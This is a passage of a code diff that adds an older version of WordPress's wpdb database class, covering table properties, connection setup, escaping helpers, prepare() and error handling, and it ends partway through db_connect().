+	 * Whether the database queries are ready to start executing.
+	 *
+	 * @since 2.3.2
+	 * @access private
+	 * @var bool
+	 */
+	var $ready = false;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var int
+	 */
+	public $blogid = 0;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var int
+	 */
+	public $siteid = 0;
+
+	/**
+	 * List of WordPress per-blog tables
+	 *
+	 * @since 2.5.0
+	 * @access private
+	 * @see wpdb::tables()
+	 * @var array
+	 */
+	var $tables = array( 'posts', 'comments', 'links', 'options', 'postmeta',
+		'terms', 'term_taxonomy', 'term_relationships', 'commentmeta' );
+
+	/**
+	 * List of deprecated WordPress tables
+	 *
+	 * categories, post2cat, and link2cat were deprecated in 2.3.0, db version 5539
+	 *
+	 * @since 2.9.0
+	 * @access private
+	 * @see wpdb::tables()
+	 * @var array
+	 */
+	var $old_tables = array( 'categories', 'post2cat', 'link2cat' );
+
+	/**
+	 * List of WordPress global tables
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @see wpdb::tables()
+	 * @var array
+	 */
+	var $global_tables = array( 'users', 'usermeta' );
+
+	/**
+	 * List of Multisite global tables
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @see wpdb::tables()
+	 * @var array
+	 */
+	var $ms_global_tables = array( 'blogs', 'signups', 'site', 'sitemeta',
+		'sitecategories', 'registration_log', 'blog_versions' );
+
+	/**
+	 * WordPress Comments table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	public $comments;
+
+	/**
+	 * WordPress Comment Metadata table
+	 *
+	 * @since 2.9.0
+	 * @access public
+	 * @var string
+	 */
+	public $commentmeta;
+
+	/**
+	 * WordPress Links table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	public $links;
+
+	/**
+	 * WordPress Options table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	public $options;
+
+	/**
+	 * WordPress Post Metadata table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	public $postmeta;
+
+	/**
+	 * WordPress Posts table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	public $posts;
+
+	/**
+	 * WordPress Terms table
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var string
+	 */
+	public $terms;
+
+	/**
+	 * WordPress Term Relationships table
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var string
+	 */
+	public $term_relationships;
+
+	/**
+	 * WordPress Term Taxonomy table
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var string
+	 */
+	public $term_taxonomy;
+
+	/*
+	 * Global and Multisite tables
+	 */
+
+	/**
+	 * WordPress User Metadata table
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var string
+	 */
+	public $usermeta;
+
+	/**
+	 * WordPress Users table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	public $users;
+
+	/**
+	 * Multisite Blogs table
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $blogs;
+
+	/**
+	 * Multisite Blog Versions table
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $blog_versions;
+
+	/**
+	 * Multisite Registration Log table
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $registration_log;
+
+	/**
+	 * Multisite Signups table
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $signups;
+
+	/**
+	 * Multisite Sites table
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $site;
+
+	/**
+	 * Multisite Sitewide Terms table
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $sitecategories;
+
+	/**
+	 * Multisite Site Metadata table
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $sitemeta;
+
+	/**
+	 * Format specifiers for DB columns. Columns not listed here default to %s. Initialized during WP load.
+	 *
+	 * Keys are column names, values are format types: 'ID' => '%d'
+	 *
+	 * @since 2.8.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::insert()
+	 * @see wpdb::update()
+	 * @see wpdb::delete()
+	 * @see wp_set_wpdb_vars()
+	 * @access public
+	 * @var array
+	 */
+	public $field_types = array();
+
+	/**
+	 * Database table columns charset
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var string
+	 */
+	public $charset;
+
+	/**
+	 * Database table columns collate
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var string
+	 */
+	public $collate;
+
+	/**
+	 * Database Username
+	 *
+	 * @since 2.9.0
+	 * @access protected
+	 * @var string
+	 */
+	protected $dbuser;
+
+	/**
+	 * Database Password
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 * @var string
+	 */
+	protected $dbpassword;
+
+	/**
+	 * Database Name
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 * @var string
+	 */
+	protected $dbname;
+
+	/**
+	 * Database Host
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 * @var string
+	 */
+	protected $dbhost;
+
+	/**
+	 * Database Handle
+	 *
+	 * @since 0.71
+	 * @access protected
+	 * @var string
+	 */
+	protected $dbh;
+
+	/**
+	 * A textual description of the last query/get_row/get_var call
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $func_call;
+
+	/**
+	 * Whether MySQL is used as the database engine.
+	 *
+	 * Set in WPDB::db_connect() to true, by default. This is used when checking
+	 * against the required MySQL version for WordPress. Normally, a replacement
+	 * database drop-in (db.php) will skip these checks, but setting this to true
+	 * will force the checks to occur.
+	 *
+	 * @since 3.3.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_mysql = null;
+
+	/**
+	 * A list of incompatible SQL modes.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $incompatible_modes = array( 'NO_ZERO_DATE', 'ONLY_FULL_GROUP_BY',
+		'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES', 'TRADITIONAL' );
+
+	/**
+	 * Whether to use mysqli over mysql.
+	 *
+	 * @since 3.9.0
+	 * @access private
+	 * @var bool
+	 */
+	private $use_mysqli = false;
+
+	/**
+	 * Whether we've managed to successfully connect at some point
+	 *
+	 * @since 3.9.0
+	 * @access private
+	 * @var bool
+	 */
+	private $has_connected = false;
+
+	/**
+	 * Connects to the database server and selects a database
+	 *
+	 * PHP5 style constructor for compatibility with PHP5. Does
+	 * the actual setting up of the class properties and connection
+	 * to the database.
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/3354
+	 * @since 2.0.8
+	 *
+	 * @param string $dbuser MySQL database user
+	 * @param string $dbpassword MySQL database password
+	 * @param string $dbname MySQL database name
+	 * @param string $dbhost MySQL database host
+	 */
+	public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) {
+		register_shutdown_function( array( $this, '__destruct' ) );
+
+		if ( WP_DEBUG && WP_DEBUG_DISPLAY )
+			$this->show_errors();
+
+		/* Use ext/mysqli if it exists and:
+		 *  - WP_USE_EXT_MYSQL is defined as false, or
+		 *  - We are a development version of WordPress, or
+		 *  - We are running PHP 5.5 or greater, or
+		 *  - ext/mysql is not loaded.
+		 */
+		if ( function_exists( 'mysqli_connect' ) ) {
+			if ( defined( 'WP_USE_EXT_MYSQL' ) ) {
+				$this->use_mysqli = ! WP_USE_EXT_MYSQL;
+			} elseif ( version_compare( phpversion(), '5.5', '>=' ) || ! function_exists( 'mysql_connect' ) ) {
+				$this->use_mysqli = true;
+			} elseif ( false !== strpos( $GLOBALS['wp_version'], '-' ) ) {
+				$this->use_mysqli = true;
+			}
+		}
+
+		$this->init_charset();
+
+		$this->dbuser = $dbuser;
+		$this->dbpassword = $dbpassword;
+		$this->dbname = $dbname;
+		$this->dbhost = $dbhost;
+
+		// wp-config.php creation will manually connect when ready.
+		if ( defined( 'WP_SETUP_CONFIG' ) ) {
+			return;
+		}
+
+		$this->db_connect();
+	}
+
+	/**
+	 * PHP5 style destructor and will run when database object is destroyed.
+	 *
+	 * @see wpdb::__construct()
+	 * @since 2.0.8
+	 * @return bool true
+	 */
+	public function __destruct() {
+		return true;
+	}
+
+	/**
+	 * PHP5 style magic getter, used to lazy-load expensive data.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $name The private member to get, and optionally process
+	 * @return mixed The private member
+	 */
+	public function __get( $name ) {
+		if ( 'col_info' === $name )
+			$this->load_col_info();
+
+		return $this->$name;
+	}
+
+	/**
+	 * Magic function, for backwards compatibility.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $name  The private member to set
+	 * @param mixed  $value The value to set
+	 */
+	public function __set( $name, $value ) {
+		$protected_members = array(
+			'col_meta',
+			'table_charset',
+			'check_current_query',
+		);
+		if (  in_array( $name, $protected_members, true ) ) {
+			return;
+		}
+		$this->$name = $value;
+	}
+
+	/**
+	 * Magic function, for backwards compatibility.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $name  The private member to check
+	 *
+	 * @return bool If the member is set or not
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Magic function, for backwards compatibility.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $name  The private member to unset
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Set $this->charset and $this->collate
+	 *
+	 * @since 3.1.0
+	 */
+	public function init_charset() {
+		if ( function_exists('is_multisite') && is_multisite() ) {
+			$this->charset = 'utf8';
+			if ( defined( 'DB_COLLATE' ) && DB_COLLATE )
+				$this->collate = DB_COLLATE;
+			else
+				$this->collate = 'utf8_general_ci';
+		} elseif ( defined( 'DB_COLLATE' ) ) {
+			$this->collate = DB_COLLATE;
+		}
+
+		if ( defined( 'DB_CHARSET' ) )
+			$this->charset = DB_CHARSET;
+	}
+
+	/**
+	 * Sets the connection's character set.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param resource $dbh     The resource given by mysql_connect
+	 * @param string   $charset Optional. The character set. Default null.
+	 * @param string   $collate Optional. The collation. Default null.
+	 */
+	public function set_charset( $dbh, $charset = null, $collate = null ) {
+		if ( ! isset( $charset ) )
+			$charset = $this->charset;
+		if ( ! isset( $collate ) )
+			$collate = $this->collate;
+		if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) {
+			if ( $this->use_mysqli ) {
+				if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
+					mysqli_set_charset( $dbh, $charset );
+				} else {
+					$query = $this->prepare( 'SET NAMES %s', $charset );
+					if ( ! empty( $collate ) )
+						$query .= $this->prepare( ' COLLATE %s', $collate );
+					mysqli_query( $dbh, $query );
+				}
+			} else {
+				if ( function_exists( 'mysql_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
+					mysql_set_charset( $charset, $dbh );
+				} else {
+					$query = $this->prepare( 'SET NAMES %s', $charset );
+					if ( ! empty( $collate ) )
+						$query .= $this->prepare( ' COLLATE %s', $collate );
+					mysql_query( $query, $dbh );
+				}
+			}
+		}
+	}
+
+	/**
+	 * Change the current SQL mode, and ensure its WordPress compatibility.
+	 *
+	 * If no modes are passed, it will ensure the current MySQL server
+	 * modes are compatible.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $modes Optional. A list of SQL modes to set.
+	 */
+	public function set_sql_mode( $modes = array() ) {
+		if ( empty( $modes ) ) {
+			if ( $this->use_mysqli ) {
+				$res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' );
+			} else {
+				$res = mysql_query( 'SELECT @@SESSION.sql_mode', $this->dbh );
+			}
+
+			if ( empty( $res ) ) {
+				return;
+			}
+
+			if ( $this->use_mysqli ) {
+				$modes_array = mysqli_fetch_array( $res );
+				if ( empty( $modes_array[0] ) ) {
+					return;
+				}
+				$modes_str = $modes_array[0];
+			} else {
+				$modes_str = mysql_result( $res, 0 );
+			}
+
+			if ( empty( $modes_str ) ) {
+				return;
+			}
+
+			$modes = explode( ',', $modes_str );
+		}
+
+		$modes = array_change_key_case( $modes, CASE_UPPER );
+
+		/**
+		 * Filter the list of incompatible SQL modes to exclude.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array $incompatible_modes An array of incompatible modes.
+		 */
+		$incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes );
+
+		foreach( $modes as $i => $mode ) {
+			if ( in_array( $mode, $incompatible_modes ) ) {
+				unset( $modes[ $i ] );
+			}
+		}
+
+		$modes_str = implode( ',', $modes );
+
+		if ( $this->use_mysqli ) {
+			mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" );
+		} else {
+			mysql_query( "SET SESSION sql_mode='$modes_str'", $this->dbh );
+		}
+	}
+
+	/**
+	 * Sets the table prefix for the WordPress tables.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $prefix Alphanumeric name for the new prefix.
+	 * @param bool $set_table_names Optional. Whether the table names, e.g. wpdb::$posts, should be updated or not.
+	 * @return string|WP_Error Old prefix or WP_Error on error
+	 */
+	public function set_prefix( $prefix, $set_table_names = true ) {
+
+		if ( preg_match( '|[^a-z0-9_]|i', $prefix ) )
+			return new WP_Error('invalid_db_prefix', 'Invalid database prefix' );
+
+		$old_prefix = is_multisite() ? '' : $prefix;
+
+		if ( isset( $this->base_prefix ) )
+			$old_prefix = $this->base_prefix;
+
+		$this->base_prefix = $prefix;
+
+		if ( $set_table_names ) {
+			foreach ( $this->tables( 'global' ) as $table => $prefixed_table )
+				$this->$table = $prefixed_table;
+
+			if ( is_multisite() && empty( $this->blogid ) )
+				return $old_prefix;
+
+			$this->prefix = $this->get_blog_prefix();
+
+			foreach ( $this->tables( 'blog' ) as $table => $prefixed_table )
+				$this->$table = $prefixed_table;
+
+			foreach ( $this->tables( 'old' ) as $table => $prefixed_table )
+				$this->$table = $prefixed_table;
+		}
+		return $old_prefix;
+	}
+
+	/**
+	 * Sets blog id.
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @param int $blog_id
+	 * @param int $site_id Optional.
+	 * @return int previous blog id
+	 */
+	public function set_blog_id( $blog_id, $site_id = 0 ) {
+		if ( ! empty( $site_id ) )
+			$this->siteid = $site_id;
+
+		$old_blog_id  = $this->blogid;
+		$this->blogid = $blog_id;
+
+		$this->prefix = $this->get_blog_prefix();
+
+		foreach ( $this->tables( 'blog' ) as $table => $prefixed_table )
+			$this->$table = $prefixed_table;
+
+		foreach ( $this->tables( 'old' ) as $table => $prefixed_table )
+			$this->$table = $prefixed_table;
+
+		return $old_blog_id;
+	}
+
+	/**
+	 * Gets blog prefix.
+	 *
+	 * @since 3.0.0
+	 * @param int $blog_id Optional.
+	 * @return string Blog prefix.
+	 */
+	public function get_blog_prefix( $blog_id = null ) {
+		if ( is_multisite() ) {
+			if ( null === $blog_id )
+				$blog_id = $this->blogid;
+			$blog_id = (int) $blog_id;
+			if ( defined( 'MULTISITE' ) && ( 0 == $blog_id || 1 == $blog_id ) )
+				return $this->base_prefix;
+			else
+				return $this->base_prefix . $blog_id . '_';
+		} else {
+			return $this->base_prefix;
+		}
+	}
+
+	/**
+	 * Returns an array of WordPress tables.
+	 *
+	 * Also allows for the CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE to
+	 * override the WordPress users and usermeta tables that would otherwise
+	 * be determined by the prefix.
+	 *
+	 * The scope argument can take one of the following:
+	 *
+	 * 'all' - returns 'all' and 'global' tables. No old tables are returned.
+	 * 'blog' - returns the blog-level tables for the queried blog.
+	 * 'global' - returns the global tables for the installation, returning multisite tables only if running multisite.
+	 * 'ms_global' - returns the multisite global tables, regardless if current installation is multisite.
+	 * 'old' - returns tables which are deprecated.
+	 *
+	 * @since 3.0.0
+	 * @uses wpdb::$tables
+	 * @uses wpdb::$old_tables
+	 * @uses wpdb::$global_tables
+	 * @uses wpdb::$ms_global_tables
+	 *
+	 * @param string $scope Optional. Can be all, global, ms_global, blog, or old tables. Defaults to all.
+	 * @param bool $prefix Optional. Whether to include table prefixes. Default true. If blog
+	 * 	prefix is requested, then the custom users and usermeta tables will be mapped.
+	 * @param int $blog_id Optional. The blog_id to prefix. Defaults to wpdb::$blogid. Used only when prefix is requested.
+	 * @return array Table names. When a prefix is requested, the key is the unprefixed table name.
+	 */
+	public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) {
+		switch ( $scope ) {
+			case 'all' :
+				$tables = array_merge( $this->global_tables, $this->tables );
+				if ( is_multisite() )
+					$tables = array_merge( $tables, $this->ms_global_tables );
+				break;
+			case 'blog' :
+				$tables = $this->tables;
+				break;
+			case 'global' :
+				$tables = $this->global_tables;
+				if ( is_multisite() )
+					$tables = array_merge( $tables, $this->ms_global_tables );
+				break;
+			case 'ms_global' :
+				$tables = $this->ms_global_tables;
+				break;
+			case 'old' :
+				$tables = $this->old_tables;
+				break;
+			default :
+				return array();
+		}
+
+		if ( $prefix ) {
+			if ( ! $blog_id )
+				$blog_id = $this->blogid;
+			$blog_prefix = $this->get_blog_prefix( $blog_id );
+			$base_prefix = $this->base_prefix;
+			$global_tables = array_merge( $this->global_tables, $this->ms_global_tables );
+			foreach ( $tables as $k => $table ) {
+				if ( in_array( $table, $global_tables ) )
+					$tables[ $table ] = $base_prefix . $table;
+				else
+					$tables[ $table ] = $blog_prefix . $table;
+				unset( $tables[ $k ] );
+			}
+
+			if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) )
+				$tables['users'] = CUSTOM_USER_TABLE;
+
+			if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) )
+				$tables['usermeta'] = CUSTOM_USER_META_TABLE;
+		}
+
+		return $tables;
+	}
+
+	/**
+	 * Selects a database using the current database connection.
+	 *
+	 * The database name will be changed based on the current database
+	 * connection. On failure, the execution will bail and display an DB error.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $db MySQL database name
+	 * @param resource $dbh Optional link identifier.
+	 * @return null Always null.
+	 */
+	public function select( $db, $dbh = null ) {
+		if ( is_null($dbh) )
+			$dbh = $this->dbh;
+
+		if ( $this->use_mysqli ) {
+			$success = @mysqli_select_db( $dbh, $db );
+		} else {
+			$success = @mysql_select_db( $db, $dbh );
+		}
+		if ( ! $success ) {
+			$this->ready = false;
+			if ( ! did_action( 'template_redirect' ) ) {
+				wp_load_translations_early();
+				$this->bail( sprintf( __( '<h1>Can&#8217;t select database</h1>
+<p>We were able to connect to the database server (which means your username and password is okay) but not able to select the <code>%1$s</code> database.</p>
+<ul>
+<li>Are you sure it exists?</li>
+<li>Does the user <code>%2$s</code> have permission to use the <code>%1$s</code> database?</li>
+<li>On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?</li>
+</ul>
+<p>If you don\'t know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="https://wordpress.org/support/">WordPress Support Forums</a>.</p>' ), htmlspecialchars( $db, ENT_QUOTES ), htmlspecialchars( $this->dbuser, ENT_QUOTES ) ), 'db_select_fail' );
+			}
+			return;
+		}
+	}
+
+	/**
+	 * Do not use, deprecated.
+	 *
+	 * Use esc_sql() or wpdb::prepare() instead.
+	 *
+	 * @since 2.8.0
+	 * @deprecated 3.6.0
+	 * @see wpdb::prepare
+	 * @see esc_sql()
+	 * @access private
+	 *
+	 * @param string $string
+	 * @return string
+	 */
+	function _weak_escape( $string ) {
+		if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) )
+			_deprecated_function( __METHOD__, '3.6', 'wpdb::prepare() or esc_sql()' );
+		return addslashes( $string );
+	}
+
+	/**
+	 * Real escape, using mysqli_real_escape_string() or mysql_real_escape_string()
+	 *
+	 * @see mysqli_real_escape_string()
+	 * @see mysql_real_escape_string()
+	 * @since 2.8.0
+	 * @access private
+	 *
+	 * @param  string $string to escape
+	 * @return string escaped
+	 */
+	function _real_escape( $string ) {
+		if ( $this->dbh ) {
+			if ( $this->use_mysqli ) {
+				return mysqli_real_escape_string( $this->dbh, $string );
+			} else {
+				return mysql_real_escape_string( $string, $this->dbh );
+			}
+		}
+
+		$class = get_class( $this );
+		if ( function_exists( '__' ) ) {
+			_doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), E_USER_NOTICE );
+		} else {
+			_doing_it_wrong( $class, sprintf( '%s must set a database connection for use with escaping.', $class ), E_USER_NOTICE );
+		}
+		return addslashes( $string );
+	}
+
+	/**
+	 * Escape data. Works on arrays.
+	 *
+	 * @uses wpdb::_real_escape()
+	 * @since  2.8.0
+	 * @access private
+	 *
+	 * @param  string|array $data
+	 * @return string|array escaped
+	 */
+	function _escape( $data ) {
+		if ( is_array( $data ) ) {
+			foreach ( $data as $k => $v ) {
+				if ( is_array($v) )
+					$data[$k] = $this->_escape( $v );
+				else
+					$data[$k] = $this->_real_escape( $v );
+			}
+		} else {
+			$data = $this->_real_escape( $data );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Do not use, deprecated.
+	 *
+	 * Use esc_sql() or wpdb::prepare() instead.
+	 *
+	 * @since 0.71
+	 * @deprecated 3.6.0
+	 * @see wpdb::prepare()
+	 * @see esc_sql()
+	 *
+	 * @param mixed $data
+	 * @return mixed
+	 */
+	public function escape( $data ) {
+		if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) )
+			_deprecated_function( __METHOD__, '3.6', 'wpdb::prepare() or esc_sql()' );
+		if ( is_array( $data ) ) {
+			foreach ( $data as $k => $v ) {
+				if ( is_array( $v ) )
+					$data[$k] = $this->escape( $v, 'recursive' );
+				else
+					$data[$k] = $this->_weak_escape( $v, 'internal' );
+			}
+		} else {
+			$data = $this->_weak_escape( $data, 'internal' );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Escapes content by reference for insertion into the database, for security
+	 *
+	 * @uses wpdb::_real_escape()
+	 * @since 2.3.0
+	 * @param string $string to escape
+	 * @return void
+	 */
+	public function escape_by_ref( &$string ) {
+		if ( ! is_float( $string ) )
+			$string = $this->_real_escape( $string );
+	}
+
+	/**
+	 * Prepares a SQL query for safe execution. Uses sprintf()-like syntax.
+	 *
+	 * The following directives can be used in the query format string:
+	 *   %d (integer)
+	 *   %f (float)
+	 *   %s (string)
+	 *   %% (literal percentage sign - no argument needed)
+	 *
+	 * All of %d, %f, and %s are to be left unquoted in the query string and they need an argument passed for them.
+	 * Literals (%) as parts of the query must be properly written as %%.
+	 *
+	 * This function only supports a small subset of the sprintf syntax; it only supports %d (integer), %f (float), and %s (string).
+	 * Does not support sign, padding, alignment, width or precision specifiers.
+	 * Does not support argument numbering/swapping.
+	 *
+	 * May be called like {@link http://php.net/sprintf sprintf()} or like {@link http://php.net/vsprintf vsprintf()}.
+	 *
+	 * Both %d and %s should be left unquoted in the query string.
+	 *
+	 *     wpdb::prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d", 'foo', 1337 )
+	 *     wpdb::prepare( "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s", 'foo' );
+	 *
+	 * @link http://php.net/sprintf Description of syntax.
+	 * @since 2.3.0
+	 *
+	 * @param string $query Query statement with sprintf()-like placeholders
+	 * @param array|mixed $args The array of variables to substitute into the query's placeholders if being called like
+	 * 	{@link http://php.net/vsprintf vsprintf()}, or the first variable to substitute into the query's placeholders if
+	 * 	being called like {@link http://php.net/sprintf sprintf()}.
+	 * @param mixed $args,... further variables to substitute into the query's placeholders if being called like
+	 * 	{@link http://php.net/sprintf sprintf()}.
+	 * @return null|false|string Sanitized query string, null if there is no query, false if there is an error and string
+	 * 	if there was something to prepare
+	 */
+	public function prepare( $query, $args ) {
+		if ( is_null( $query ) )
+			return;
+
+		// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
+		if ( strpos( $query, '%' ) === false ) {
+			_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9' );
+		}
+
+		$args = func_get_args();
+		array_shift( $args );
+		// If args were passed as an array (as in vsprintf), move them up
+		if ( isset( $args[0] ) && is_array($args[0]) )
+			$args = $args[0];
+		$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
+		$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
+		$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
+		$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
+		array_walk( $args, array( $this, 'escape_by_ref' ) );
+		return @vsprintf( $query, $args );
+	}
+
+	/**
+	 * First half of escaping for LIKE special characters % and _ before preparing for MySQL.
+	 *
+	 * Use this only before wpdb::prepare() or esc_sql().  Reversing the order is very bad for security.
+	 *
+	 * Example Prepared Statement:
+	 *  $wild = '%';
+	 *  $find = 'only 43% of planets';
+	 *  $like = $wild . $wpdb->esc_like( $find ) . $wild;
+	 *  $sql  = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like );
+	 *
+	 * Example Escape Chain:
+	 *  $sql  = esc_sql( $wpdb->esc_like( $input ) );
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $text The raw text to be escaped. The input typed by the user should have no
+	 *                     extra or deleted slashes.
+	 * @return string Text in the form of a LIKE phrase. The output is not SQL safe. Call $wpdb::prepare()
+	 *                or real_escape next.
+	 */
+	public function esc_like( $text ) {
+		return addcslashes( $text, '_%\\' );
+	}
+
+	/**
+	 * Print SQL/DB error.
+	 *
+	 * @since 0.71
+	 * @global array $EZSQL_ERROR Stores error information of query and error string
+	 *
+	 * @param string $str The error to display
+	 * @return false|null False if the showing of errors is disabled.
+	 */
+	public function print_error( $str = '' ) {
+		global $EZSQL_ERROR;
+
+		if ( !$str ) {
+			if ( $this->use_mysqli ) {
+				$str = mysqli_error( $this->dbh );
+			} else {
+				$str = mysql_error( $this->dbh );
+			}
+		}
+		$EZSQL_ERROR[] = array( 'query' => $this->last_query, 'error_str' => $str );
+
+		if ( $this->suppress_errors )
+			return false;
+
+		wp_load_translations_early();
+
+		if ( $caller = $this->get_caller() )
+			$error_str = sprintf( __( 'WordPress database error %1$s for query %2$s made by %3$s' ), $str, $this->last_query, $caller );
+		else
+			$error_str = sprintf( __( 'WordPress database error %1$s for query %2$s' ), $str, $this->last_query );
+
+		error_log( $error_str );
+
+		// Are we showing errors?
+		if ( ! $this->show_errors )
+			return false;
+
+		// If there is an error then take note of it
+		if ( is_multisite() ) {
+			$msg = "WordPress database error: [$str]\n{$this->last_query}\n";
+			if ( defined( 'ERRORLOGFILE' ) )
+				error_log( $msg, 3, ERRORLOGFILE );
+			if ( defined( 'DIEONDBERROR' ) )
+				wp_die( $msg );
+		} else {
+			$str   = htmlspecialchars( $str, ENT_QUOTES );
+			$query = htmlspecialchars( $this->last_query, ENT_QUOTES );
+
+			print "<div id='error'>
+			<p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
+			<code>$query</code></p>
+			</div>";
+		}
+	}
+
+	/**
+	 * Enables showing of database errors.
+	 *
+	 * This function should be used only to enable showing of errors.
+	 * wpdb::hide_errors() should be used instead for hiding of errors. However,
+	 * this function can be used to enable and disable showing of database
+	 * errors.
+	 *
+	 * @since 0.71
+	 * @see wpdb::hide_errors()
+	 *
+	 * @param bool $show Whether to show or hide errors
+	 * @return bool Old value for showing errors.
+	 */
+	public function show_errors( $show = true ) {
+		$errors = $this->show_errors;
+		$this->show_errors = $show;
+		return $errors;
+	}
+
+	/**
+	 * Disables showing of database errors.
+	 *
+	 * By default database errors are not shown.
+	 *
+	 * @since 0.71
+	 * @see wpdb::show_errors()
+	 *
+	 * @return bool Whether showing of errors was active
+	 */
+	public function hide_errors() {
+		$show = $this->show_errors;
+		$this->show_errors = false;
+		return $show;
+	}
+
+	/**
+	 * Whether to suppress database errors.
+	 *
+	 * By default database errors are suppressed, with a simple
+	 * call to this function they can be enabled.
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::hide_errors()
+	 * @param bool $suppress Optional. New value. Defaults to true.
+	 * @return bool Old value
+	 */
+	public function suppress_errors( $suppress = true ) {
+		$errors = $this->suppress_errors;
+		$this->suppress_errors = (bool) $suppress;
+		return $errors;
+	}
+
+	/**
+	 * Kill cached query results.
+	 *
+	 * @since 0.71
+	 * @return void
+	 */
+	public function flush() {
+		$this->last_result = array();
+		$this->col_info    = null;
+		$this->last_query  = null;
+		$this->rows_affected = $this->num_rows = 0;
+		$this->last_error  = '';
+
+		if ( $this->use_mysqli && $this->result instanceof mysqli_result ) {
+			mysqli_free_result( $this->result );
+			$this->result = null;
+
+			// Sanity check before using the handle
+			if ( empty( $this->dbh ) || !( $this->dbh instanceof mysqli ) ) {
+				return;
+			}
+
+			// Clear out any results from a multi-query
+			while ( mysqli_more_results( $this->dbh ) ) {
+				mysqli_next_result( $this->dbh );
+			}
+		} else if ( is_resource( $this->result ) ) {
+			mysql_free_result( $this->result );
+		}
+	}
+
+	/**
+	 * Connect to and select database.
+	 *
+	 * If $allow_bail is false, the lack of database connection will need
+	 * to be handled manually.
+	 *
+	 * @since 3.0.0
+	 * @since 3.9.0 $allow_bail parameter added.
+	 *
+	 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
+	 * @return null|bool True with a successful connection, false on failure.
+	 */
+	public function db_connect( $allow_bail = true ) {
+
+		$this->is_mysql = true;
+
+		/*
+		 * Deprecated in 3.9+ when using MySQLi. No equivalent
+		 * $new_link parameter exists for mysqli_* functions.
+		 */
